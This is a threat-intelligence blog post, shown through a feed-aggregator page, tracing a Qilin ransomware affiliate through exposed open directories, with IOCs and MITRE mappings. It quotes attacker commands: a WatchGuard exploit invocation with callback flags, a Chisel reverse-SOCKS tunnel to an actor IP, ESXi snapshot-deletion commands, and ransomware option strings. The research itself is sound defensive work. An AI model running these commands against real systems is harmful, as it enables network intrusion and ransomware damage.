惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

有赞技术团队
有赞技术团队
H
Hackread – Cybersecurity News, Data Breaches, AI and More
I
InfoQ
J
Java Code Geeks
Microsoft Security Blog
Microsoft Security Blog
G
Google Developers Blog
D
DataBreaches.Net
Recent Announcements
Recent Announcements
Microsoft Azure Blog
Microsoft Azure Blog
B
Blog RSS Feed
Y
Y Combinator Blog
博客园 - 【当耐特】
博客园 - 聂微东
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
大猫的无限游戏
大猫的无限游戏
P
Proofpoint News Feed
量子位
C
Check Point Blog
F
Fortinet All Blogs
罗磊的独立博客
Last Week in AI
Last Week in AI
GbyAI
GbyAI
L
LangChain Blog
博客园 - 司徒正美

Ctrl-Alt-Intel

RUSTGate: A Drone-Swarm Lure Points to Potential Defence-Sector Targeting Behind the CAPTCHA: ClickFix, WallStealer and a Hidden Miner The Gentlemen RaaS: Origins, OPSEC & OSINT The Gentlemen RaaS: Origins, OPSEC & OSINT INC Ransomware affiliate targets ESXi & NAS Devices in AD environment INC Ransomware affiliate targets ESXi & NAS Devices in AD environment Burnt by Burgers: Highlighting Void Blizzard’s Russian State Links Burnt by Burgers: Highlighting Void Blizzard’s Russian State Links Wordpress Exploitation Exposure Checker Chinese actor compromises thousands of Wordpress sites Wordpress Exploitation Exposure Checker Chinese actor compromises thousands of Wordpress sites South-East Asian Military Entities Targeted via cPanel (CVE-2026-41940) South-East Asian Military Entities Targeted via cPanel (CVE-2026-41940) Watch Guard! Qilin affiliate exploits network appliances for initial access KongTuke on compromised WordPress sites, DDOS Botnets and Cybercriminal Feuds KongTuke on compromised WordPress sites, DDOS Botnets and Cybercriminal Feuds Dissecting FudCrypt: A Real-World Malware Crypting Service Analysis Dissecting FudCrypt: A Real-World Malware Crypting Service Analysis Supply-Chain Attacks, TP-Link devices & a pair of socks Supply-Chain Attacks, TP-Link devices & a pair of socks The BuddyBoss Attack: Claude’s Supply-Chain Attack The BuddyBoss Attack: Full Incident Analysis Inside the UPMI Phishing-as-a-Service Platform FancyBear Exposed: Major OPSEC Blunder Inside Russian Espionage Ops MuddyWater Exposed: Inside an Iranian APT operation Investigating Suspected DPRK-Linked Crypto Intrusions Diesel Vortex: Exploring connections to Russian LLCs Aeternum Loader: When your C2 lives forever Aeternum Loader: Inside the binary
Watch Guard! Qilin affiliate exploits network appliances ...
Ctrl-Alt-Intel · 2026-05-01 · via Ctrl-Alt-Intel

Overview

Qilin is a long-standing and prolific Ransomware-as-a-Service (RaaS) group, active since late 2022, causing real-world impact across numerous sectors globally. Ransomware.live reports that Qilin has had the most victims of any ransomware group in 2025 and 2026 to date (through March). In total, according to Ransomware.live, Qilin has compromised over 1,700 organisations.

1

Ransomware.live - Qilin

When affiliate-backed cybercriminal groups operate at such scale, mistakes are inevitable. On December 15, 2025, Ctrl-Alt-Intel identified a Qilin affiliate Operational Security (OPSEC) failure that led us down a deep rabbit hole. By the end of this investigation, we understood:

  • Two countries this affiliate appeared to be targeting
  • At least 7 CVEs they had leveraged
  • Tooling they used during operations
  • Over 8 US companies they compromised, with 3 publicly disclosed as ransomed
  • C2 infrastructure they operated from

Like many ransomware groups, the affiliate we expose today primarily gained access to victim organisations via the compromise of corporate VPN devices, specifically WatchGuard and Fortinet, deploying Sliver for C2 on these appliances and eventually leading to the deployment of Qilin binaries targeting Linux, ESXi, and Nutanix devices.

Notably, we also observed the threat actor deploy POCs for several other known vulnerabilities, which we will discuss later.

1

Main Correlation Diagram

You may have noticed that we are publishing this blog many months after our initial discovery in December 2025. Upon identifying the actor, we shared these findings with law enforcement and other relevant CTI authorities, as the mistakes they were making appeared to be persistent.

Waiting to publish proved valuable: the threat actor made the same mistakes from August 2025 to March 2026, giving us rare visibility into ransomware operations across 5 different C2 servers they exposed.

During December 2025, and into January 2026, this Qilin affiliate operated from the IP address 194.59.30[.]9 (AS 399486). They created open-directories to share or stage payloads, but inadvertently exposed sensitive data relating to their ransomware operations.

Using Censys’ Service History capability, we can “look back in time” and observe the files we discovered on the open-directory.

1

Censys Service History - 194.59.30[.]9

From this first OPSEC failure, we identified Qilin binaries (qusar, tron, sssd), Sliver C2 configurations, logs and binaries, POC exploits for WatchGuard VPNs, VPN configurations, and firmware extracts. We also observed a Python-based reverse shell, events.py, designed to run from WatchGuard appliances and configured to callback to 79.110.49[.]146.

The IP address 79.110.49[.]146 is important. We identified it as the reverse shell callback IP in December, but we will see it again multiple months later.

The Sliver C2 configurations client_31.57.147.229.cfg and vcenter_31.57.38.155.cfg expose the IP addresses of the Sliver servers used by this affiliate. They also could allow relevant authorities to authenticate directly to this Qilin affiliate’s Sliver C2 servers for further intelligence collection opportunities.

This first open-directory indicated the affiliate used the VPS 194.59.30[.]9 to access their Sliver C2 servers on 31.57.147[.]229 and 31.57.38[.]155.

Additionally, on January 5, and on the days that followed, this same IP exposed the same open-directory. We can see additional files, including CVE-2025-59718.py, a FortiOS POC, within this updated exposure.

Following the crumbs

Fortunately, the December blunder was not the first, nor the last, mistake they made. Ctrl-Alt-Intel assesses that this affiliate had been using a similar playbook for initial access since at least August 2025.

Using the Hunt.io platform, we pivoted on file names and hashes from the captured open-directories. We observed the same Sliver configuration, used to connect to the server on 31.57.147[.]229, on an open-directory archived on January 12:

1

Pivoting using Hunt.io

So far, we have identified a direct correlation between the Qilin affiliate IP address 194.59.30[.]9 and a secondary IP, 185.196.11[.]235 (AS 42624). We saw overlapping files within both open-directories. This new open-directory contained another Qilin binary, kruss.

Important note: across these two open-directories, Ctrl-Alt-Intel found 4 Qilin binaries: sssd, qusar, tron, and kruss. Ctrl-Alt-Intel assesses that these are named after victim organisations. We will return to these binaries in the later Qilin binary / Victimology section.

1

Correlation Diagram #1

This new open-directory (185.196.11[.]235, archived on Hunt.io) contained additional significant data and logs exposing commands run, tools used, and Qilin binaries. It also contained the file serverPOST.py, which was a Flask-based exfiltration handler.

serverPOST.py allowed the threat actor to receive exfiltrated VPN/firewall configurations and exports. It also allowed Ctrl-Alt-Intel to pivot further using Hunt.io to uncover additional Qilin affiliate infrastructure.

1

Second pivot using Hunt.io

As mentioned earlier, we observed 79.110.49[.]146 used as the callback IP for Python reverse shells deployed to WatchGuard appliances. We had been tracking this IP. Over 3 months later, on March 5, the Qilin affiliate created an open-directory on this IP, exposing its contents:

1

Censys Service History - 79.110.49[.]146

We can identify two new Sliver configurations, 23.27.140[.]108 and 23.27.143[.]170, from the above open-directory. The first IP was also observed in the January 12 open-directory.

From our investigation, and further pivots, we now have 5 open-directories attributed to this Qilin affiliate actor:

Hunt.io Archive Date Open Directory IP ASN
2025-08-28 185.208.158[.]147 42624
2025-10-29 144.208.127[.]61 395092
N/A - found on 2025-12-14 194.59.30[.]9 399486
2026-01-12 185.196.11[.]235 42624
N/A - found on 2026-03-05 79.110.49[.]146 399486

Each of these, from August 2025 to January 2026, fits the profile for this Qilin intrusion set. They each contain major overlaps in naming schemes, tooling used, files exfiltrated, and, in some cases, Qilin malware itself.

1

Correlation Diagram #2

Reconnaissance

The Qilin affiliated actor leveraged a custom FortiGate/FortiManager recon script TargetInfoPrinter.py to perform fingerprinting and reconnaissance.

  1. It first checks whether TCP/541 is open, which helps confirm that Fortinet management services (FGFM) are exposed.
  2. It then requests /remote/login?lang=en and extracts the login.js?q= value, giving the actor a quick web UI fingerprint.
  3. The most interesting technique is that it downloads /fonts/ftnt-icons.woff and parses the font metadata to recover the internal head checksum. This gives the actor another way to differentiate Fortinet builds/versions.

It could allow the threat actor to answer the questions:

  • Is this a Fortinet device?
  • Is Fortinet management reachable?
  • Which build or variant does it appear to be?

Evidence strongly suggests that this affiliate relied on known vulnerabilities for initial access:

The file 9242_exploit.py was the watchTowr WatchGuard CVE-2025-9242 POC. From the evidence available to Ctrl-Alt-Intel, there was significant attempted exploitation of WatchGuard Firebox appliances. The threat actor attempted to exploit over 900 unique US or German IP addresses, with intent of deploying Sliver C2 to these appliances.

python3 9242_exploit.py --rhost <target> --rport 500 --lhost <callback IP> --lport 2007 --exploit

In practical terms, the actor was targeting the WatchGuard IKE service on port 500 and forcing compromised appliances to connect back to actor-controlled infrastructure on port 2007, giving them a shell to work from - where they downloaded and executed their Sliver binary.

Analysis of the Sliver C2 client history logs revealed a clear pattern that was repeated over 30 times. Each of these are likely a compromised WatchGuard appliance.

  1. Interact with the compromised WatchGuard appliance through a Sliver session.
  2. Run ps, getpid and ifconfig, and in many cases terminate <pid>.
  3. Traverse into /etc/wg, either directly or via cd .., then cd etc, then cd wg.
  4. In /etc/wg, they downloaded WatchGuard configuration config.xml
  5. Traverse to /bin
  6. Upload fos (renamed Chisel binary), make it executable chmod fos 777
  7. Launch execute -o /bin/fos client 185.196.11.235:<port> R:socks.

Command & Control Infrastructure

Recovered artefacts show that this affiliate operated a multi-layered C2 stack targeting edge devices, built primarily around Sliver, with Chisel and lightweight Python reverse shells used as supporting access mechanisms.

Alongside Sliver, the affiliate staged Chisel binaries, including a renamed copy, fos, which was used to establish reverse SOCKS tunnels from compromised edge devices back to actor-controlled infrastructure. This gave the threat actor a reliable pivoting mechanism into internal victim networks, rather than relying only on the initial appliance foothold.

Across the C2 infrastructure observed, Ctrl-Alt-Intel observed significant overlap in ASNs, exposed files, and C2 configurations:

Interactive: Qilin Affiliate ASN Infrastructure Overlap

IP ASN
144.208.127.61 395092
185.208.158.147 42624
185.196.11.235 42624
194.59.30.9 399486
79.110.49.146 399486
31.57.147.229 399486
31.57.38.155 149440
23.27.140.108 149440
23.27.143.170 149440

Qilin Linux Binaries

Across the 5 open-directories, Ctrl-Alt-Intel recovered 3 Qilin binaries tron, qusar, sssd from 194.59.30[.]9 & kruss from 185.196.11[.]23. Ctrl-Alt-Intel assess with high-confidence these were named after the relevant organisations they targeted.

These Qilin binaries were capable of encrypting Linux hosts, VMware ESXi environments, and Nutanix AHV infrastructure.

These binaries were found on open-directories within the weeks prior to organisations with similar names being found on the Qilin blog (ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd[.]onion). For example, organisations “Z-TRONIX” & “Quasar” were published on December 31st together:

1

Qilin blog

Ctrl-Alt-Intel could not identify the organisation affiliated with the sssd ransomware binary, although the remaining could be linked to organisations found on the Qilin blog site:

1

Correlation Diagram #3

The Qilin binary functionality were not obfuscated, nor are it’s strings. In a follow up blog, we will dig deeper into how this ransomware targets ESXi / Nutanix AH fleets, although running a simple strings reveals the command-line flags, ransomware note, and other victim unique IDs:

Usage:
        %s OPTION ...
OPTIONS:
-d,--debug               Enable debug mode (logging level set to DEBUG, disables backgrounding)
   --dry-run             Perform scan for files to be processed, do not modify them
-h,--help                This help
-l,--log-level <number>  Set logging level. Values are from 0 for FATAL up to 5 for DEBUG
   --no-df               Ignore configured white-/black- lists of directories
   --no-ef               Ignore configured white-/black- lists of extensions
   --no-ff               Ignore configured white-/black- lists of files
   --no-proc-kill        Disables process kill
-R,--no-rename           Disables rename of completed files
   --no-snap-rm          Disables snapshot deletion
   --no-vm-kill          Disables VM kill
-p,--path <string>       Specifies directory for search (multiple entries allowed, specify this option for each entry)
   --password <string>   Password for startup
-r,--rename              Enables rename of completed files (default)
-t,--timer <number>      Enabled timed delay before encryption (seconds)
-w,--whitelist           Use whitelists for inclusion instead of blacklists for exclusion (later is default behavior)
-y,--yes                 Assume answer 'yes' on all questions (script mode)

1

Qilin binary strings

Each sample is the same size, 1,395,184 bytes, and they also share the same entrypoint, section layout, and large volumes of identical strings, strongly indicating a common source build. The meaningful differences between them are not in core functionality, but in the embedded victim portal configuration, including:

  • Encrypted file extension
  • Victim-specific .onion Qilin negotitation login portal
  • Embedded login token
  • Likely public-key / build configuration material

See below for the per-victim onion links:

File Name Onion Link
qusar yxaxsxdy3gz64ylh4jdjf3gliawpwe5dqvkv6t3ehgkhbrekt4dma7id.onion
sssd sfnqkt2tffq3vuzshe4gd6glav2tfn235b3s6yoabiaeccsog5pdoaqd.onion
tron caxtv5fnuidtcnmnbr7tb2v2zz75gkrpsa6dfaj2lxk3ylxipbi5klad.onion
kruss remqvwjjx422lrvv5tuqsayh4vuorlioleipdt7zkvparlamwfwdbyyd.onion

1

Per victim login page

Another affiliate?

Eyal Sela from Gambit Security shared with us an additional open-directory, found on the Hunt.io platform on February 5th 2026, from the Vultr IP address 45.32.216[.]250.

1

Hunt.io screenshot

This contained an additional 4 unique Linux Qilin binaries, all of the same variant previously observed.

File Name Onion Link
locker 3uteer64gvygdnjbdajmg7qidpspiucifa42fpfx63tdnqzpjbqdnjqd.onion
test\linux qde2yglcehbwnpsdrfdkkyd5elfaopfxky2bwpo3jizdrctmw6bld3ad.onion
test\gra_linux jgky27wbidsvpblonrn3gy2ep265hazqyablovpukgav52bv2trlu3id.onion
test\sbise os7yir2k4yzdg32h2vrjyj6woo6jpo5wty44mkojfs36wr4hsxbswlad.onion

This open-directory also contained additional payloads. We will discuss those in a follow-up blog.

Using the Hunt.io platform, we can see this IP has previously been tagged as hosting Cobalt Strike, and it is also mentioned in a Rapid7 blog covering CVE-2025-59718 Fortinet SSO authentication bypass exploitation. Rapid7 provided logs indicating this IP address was observed editing VPN and firewall configurations:

logid="0100044546" type="event" subtype="system" level="information"
vd="root" logdesc="Attribute configured" user="admins"
ui="GUI(45.32.216[.]250)" action="Edit" cfgpath="vpn.ssl.settings"
msg="Edit vpn.ssl.settings"

logid="0100044547" type="event" subtype="system" level="information"
vd="root" logdesc="Object attribute configured" user="admins"
ui="GUI(45.32.216[.]250)" action="Add" cfgpath="firewall.policy"
cfgobj="XX" msg="Add firewall.policy <redacted>"
Ctrl-Alt-Intel found no evidence to suggest this activity was carried out by the same affiliate, although we also cannot rule it out.

Victimology / Targeting

The exploitation of known CVEs, primarily those affecting WatchGuard devices, suggests that this affiliate’s targeting was primarily opportunistic, driven by exposure of vulnerable perimeter infrastructure rather than by a narrow sector focus.

Across the recovered exploitation history, Ctrl-Alt-Intel observed 1,929 WatchGuard exploit invocations against 918 unique target IP addresses. Enrichment of those targets shows a strong concentration in Germany and the United States:

  • Germany: 656 targets (71.5%)
  • United States: 258 targets (28.1%)
  • Other countries: 4 targets total across the United Kingdom, the Netherlands, France, and Italy

This distribution strongly suggests that the affiliate was working from a broad list of exposed WatchGuard appliances, with a clear bias toward German and US organisations, rather than conducting tightly scoped sector-specific targeting. The victims identified via Qilin binaries reinforce the clear German and US targeting:

  • KRÜSS Scientific: a German scientific instrumentation / surface science technology manufacturer
  • Z-Tronix: a US electronics and wire harness manufacturer
  • Quasar Data: a US data centre / managed IT / colocation provider

Across all 5 open-directories, we identified 8 US companies via 3 WatchGuard and 5 Fortinet firewall/VPN configurations or logs. One of these, Quasar Data Center, had its WatchGuard configuration (config.xml) on a different host than the corresponding Qilin binary.

We have only named the organisations that are publicly listed as victims on Qilin’s blog.

Across both confirmed victims and organisations with exfiltrated configurations, although not publicly listed as Qilin victims, we observed the following sector alignment:

Sector Count
Healthcare / medical 2
IT / telecom 2
Energy 2
Sports 1
Science 1
Education 1

Conclusion

Access to multiple open-directory and C2 artefacts tied to this Qilin affiliate provided rare insight into the playbook they followed to achieve initial access against victims in the US and Germany.

The deployment of Sliver C2 and SOCKS proxies to the underlying operating systems of network appliances, which do not typically have a standard AV/EDR stack, has been observed by Ctrl-Alt-Intel previously on FortiWeb WAF intrusions. Firewalls, VPNs, and other edge network appliances typically do not provide sufficient telemetry to detect or stop these attacks. This is an industry-wide visibility gap.

Qilin remains a prominent ransomware adversary, with a staggering number of victims worldwide, continuing to cause significant damage. This research highlights, through repeated OPSEC failures, how straightforward it can be for Qilin affiliates to compromise network appliances at mass, gaining access to victims’ internal networks, ultimately to deploy ransomware.

IOCs

We have shared a sample of the Qilin binaries, tooling and scripts leveraged on our Github.

Command & Control

IOC Type Context
144.208.127.61 IP Open-directory / staging server
185.208.158.147 IP Open-directory; Sliver-related infrastructure
185.196.11.235 IP Open-directory; Flask exfil server; reverse shell staging; Chisel SOCKS endpoint; WatchGuard exploit callback host
194.59.30.9 IP Open-directory / staging server
45.32.216.250 IP Open-directory
79.110.49.146 IP Open-directory; observed reverse-shell / Sliver C2-related infrastructure
31.57.147.229 IP Sliver C2
31.57.38.155 IP Sliver C2
23.27.140.108 IP Sliver C2
23.27.143.170 IP Sliver C2

Leak site / Qilin login portal

File / Sample Onion Link
qusar yxaxsxdy3gz64ylh4jdjf3gliawpwe5dqvkv6t3ehgkhbrekt4dma7id.onion
sssd sfnqkt2tffq3vuzshe4gd6glav2tfn235b3s6yoabiaeccsog5pdoaqd.onion
tron caxtv5fnuidtcnmnbr7tb2v2zz75gkrpsa6dfaj2lxk3ylxipbi5klad.onion
kruss remqvwjjx422lrvv5tuqsayh4vuorlioleipdt7zkvparlamwfwdbyyd.onion
locker 3uteer64gvygdnjbdajmg7qidpspiucifa42fpfx63tdnqzpjbqdnjqd.onion
test\linux qde2yglcehbwnpsdrfdkkyd5elfaopfxky2bwpo3jizdrctmw6bld3ad.onion
test\gra_linux jgky27wbidsvpblonrn3gy2ep265hazqyablovpukgav52bv2trlu3id.onion
test\sbise os7yir2k4yzdg32h2vrjyj6woo6jpo5wty44mkojfs36wr4hsxbswlad.onion
Embedded blog link kbsqoivihgdmwczmxkbovk7ss2dcynitwhhfu5yw725dboqo5kthfaad.onion
Embedded blog link ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd.onion

Payloads, Scripts & Configurations

File SHA256 Notes
185.196.11.235\kruss 2495C8024BF0497BD5FAF70B6C99CE4BF52350B8A7FCFB7DE8E66D3966E84A55 Qilin sample
194.59.30.9\fos 75FC431CE030047E6DAFC6C5D787EF5D8A4A23C9DA3BA8FB239D869D46784DC7 Renamed Chisel
194.59.30.9\qusar 6443840672133954B6C1F573E0E58645EE02B5A0A7CB60E0872690AF4475E6D1 Qilin sample
194.59.30.9\s_main B0C38A85ECFE773EAFCDCF8E7E507649FB64B122A48DE5D3D9121F2BCCA8EEA0 Large binary from 194.59.30[.]9 open-directory
194.59.30.9\sssd A680FCCF236397499371932C736EC5DE8BA8E7DB10B98F821CA4A5609B178E6E Qilin sample
194.59.30.9\tron D82069CFC9395A240B9C140D283367AB470D587326C5E256ABA78EB2C5A9EA85 Qilin sample
45.32.216.250_443\locker C73AE27924D0335DFC4D172CBA31458FFECECE80DC27E7B2AB6FC7C41FD2AE29 Qilin sample
45.32.216.250_443\test\linux DC9F6A3A6D769B9AF3B6972542960CCF43326280ED2732AD12D6700446908ACE Qilin sample
45.32.216.250_443\test\gra_linux 2D49AD1DAE92372FB2C4B696EAE35BD982B88D88FC1A0D449A2277ECA70307BA Qilin sample
45.32.216.250_443\test\sbise 9588446206F405A539761D4743D48AB2DEC20AE69A9C91FF57A139ECE60504B5 Qilin sample
45.32.216.250_443\test\esxi C599DD1AF4C13993AA1746A55AA1C7E9AD0AA0D56659E3D4B43D7D5A22698266 Large ELF64; related payload/helper
45.32.216.250_443\linux 51CCBFE5321C6C27EF38F491E5AA00E38ECDBEBE8D0ECB0B8760C765749554BF UPX-packed ELF32
45.32.216.250_443\test\rclone_linux FA865B9544ACFBE0D5FA9985EDFCE7E24BDAEC4D8AA813BBF1AE9891AD52C517 Likely rclone
185.208.158.147\sliver 3B06E9166A5771130E343E3D1015E554B5F7217D3586CD3E5BB997F4A81089E8 Sliver binary
144.208.127.61\chisel 75FC431CE030047E6DAFC6C5D787EF5D8A4A23C9DA3BA8FB239D869D46784DC7 Chisel
185.196.11.235\chisel 75FC431CE030047E6DAFC6C5D787EF5D8A4A23C9DA3BA8FB239D869D46784DC7 Chisel
185.196.11.235\fos 75FC431CE030047E6DAFC6C5D787EF5D8A4A23C9DA3BA8FB239D869D46784DC7 Renamed Chisel
185.208.158.147\chisel 75FC431CE030047E6DAFC6C5D787EF5D8A4A23C9DA3BA8FB239D869D46784DC7 Chisel
185.196.11.235\events.py C9A9D563EDD2D7C3B80E70E0C324895FDB5F849076E66A25457C22901F18AC3D Python reverse shell
185.196.11.235\test.py E862D9792D116F1DA8139C58ABB10E18FEEA38B524055C1E3CC73F8BDB65A9AF Reverse-shell launcher
185.196.11.235\serverPOST.py E95FB018308751A380A7B48C11E365C6452EE87B11BCAC80DF791B09F2C4D867 Flask exfil handler
144.208.127.61\forti\serverPOST.py E95FB018308751A380A7B48C11E365C6452EE87B11BCAC80DF791B09F2C4D867 Flask exfil handler
144.208.127.61\serverPOST.py EB00DDFA8ACC4BED939BA77CA23AF5396CA406C8BB0C14EE79932C6D00BB16F3 Flask exfil handler
185.208.158.147\serverPOST.py EB00DDFA8ACC4BED939BA77CA23AF5396CA406C8BB0C14EE79932C6D00BB16F3 Flask exfil handler
185.208.158.147\TargetInfoPrinter.py 5DF410797D8F089FDD0E902F3E765E9732D780329F2435052C7797BB2C2F67FB FortiGate recon script
185.196.11.235\client_31.57.147.229.cfg A83724ECD01A024FB0B6C8FB247C8414B881DAB3BD49AE6B82CC30FE1671EF2A Sliver client config
185.196.11.235\Y_23.27.140.108.cfg D8F1F3414610841C56D176545ADA03F7AD0FD063BFBAF9F33E20E88BB53ADF19 Sliver client config
185.208.158.147\HariAdm_185.208.158.147.cfg 9F7FD7F9B7929F30D15C7F18BD782A93E7BD5145F2178D3A00F5187BDAB36E86 Sliver client config

Hashes of binaries, configurations & server-side scripts have been included for pivoting purposes, rather than being used in detection content

MITRE ATT&CK

Tactic ID Technique Observed Usage
Reconnaissance T1595.002 Active Scanning: Vulnerability Scanning TargetInfoPrinter.py fingerprinted FortiGate/FortiManager targets by checking TCP/541, requesting /remote/login?lang=en, and downloading /fonts/ftnt-icons.woff to recover build-identifying metadata.
Initial Access T1190 Exploit Public-Facing Application The affiliate staged and used public-facing appliance exploits, most notably WatchGuard 9242_exploit.py, and also held POCs for FortiOS (CVE-2025-59718.py) and other edge-facing products.
Execution T1059.004 Command and Scripting Interpreter: Unix Shell On compromised WatchGuard appliances, the actor ran shell commands such as ps, ifconfig, cd /etc/wg, … The Qilin Linux samples also execute ESXi/Nutanix commands via /bin/sh -c.
Execution T1059.012 Command and Scripting Interpreter: Hypervisor CLI Recovered Qilin binaries use hypervisor-native CLIs including esxcli vm process list, esxcli vm process kill -t force -w <WorldID>, vim-cmd vmsvc/getallvms, vim-cmd vmsvc/snapshot.removeall, acli vm.force_off, and acli snapshot.delete.
Credential Access T1552.001 Unsecured Credentials: Credentials In Files The affiliate stole WatchGuard config.xml files and Fortinet configuration exports that contained account details, VPN settings, LDAP/SAML configuration, certificates, and other sensitive authentication material.
Discovery T1057 Process Discovery Sliver history shows the actor repeatedly running ps and getpid on compromised appliances. Qilin also contains Linux process enumeration logic via /proc.
Discovery T1016 System Network Configuration Discovery The actor ran ifconfig on compromised WatchGuard appliances. FortiGate reconnaissance also identified management exposure and appliance characteristics over the network.
Collection T1005 Data from Local System On WatchGuard appliances, the actor navigated to /etc/wg and downloaded config.xml. Across the exposed infrastructure, the affiliate also collected Fortinet configuration exports, credential material, and firewall/VPN backups.
Command and Control T1105 Ingress Tool Transfer The actor uploaded Sliver tooling, the renamed Chisel binary fos, Python reverse-shell components, and Qilin ransomware payloads to compromised systems.
Command and Control T1090.001 Proxy: Internal Proxy The affiliate used compromised edge devices as pivot points by launching Chisel in reverse SOCKS mode, e.g. execute -o /bin/fos client 185.196.11.235:<port> R:socks, giving access into internal victim networks through the appliance.
Command and Control T1572 Protocol Tunneling Chisel reverse SOCKS tunnels were repeatedly established from compromised appliances back to actor infrastructure, tunneling follow-on access through the VPN/firewall device.
Exfiltration T1041 Exfiltration Over C2 Channel serverPOST.py implements a Flask /upload endpoint that saves uploaded files into per-source-IP directories, consistent with exfiltration of WatchGuard and Fortinet configuration exports to actor-controlled hosts.
Impact T1490 Inhibit System Recovery Qilin contains snapshot-removal routines for both ESXi (vim-cmd vmsvc/snapshot.removeall) and Nutanix (acli snapshot.delete), and also disables Nutanix VM HA priority to reduce recovery options.
Impact T1491.001 Defacement: Internal Defacement The recovered Qilin Linux samples overwrite /etc/motd on Linux/ESXi and /etc/motd.template / /var/run/motd on FreeBSD with the ransom message.
Impact T1486 Data Encrypted for Impact The Qilin binaries encrypt Linux, ESXi, and Nutanix-hosted data, including VM-related files, using per-file ChaCha20 keys and appended encrypted metadata, then rename files to victim-specific extensions.

Acknowledgements

Thanks to the Hunt.io platform for providing visibility into multiple Qilin open-directories.

We’d also like to thank Will Thomas from Team Cymru and Eyal Sela from Gambit Security for intelligence sharing contributions.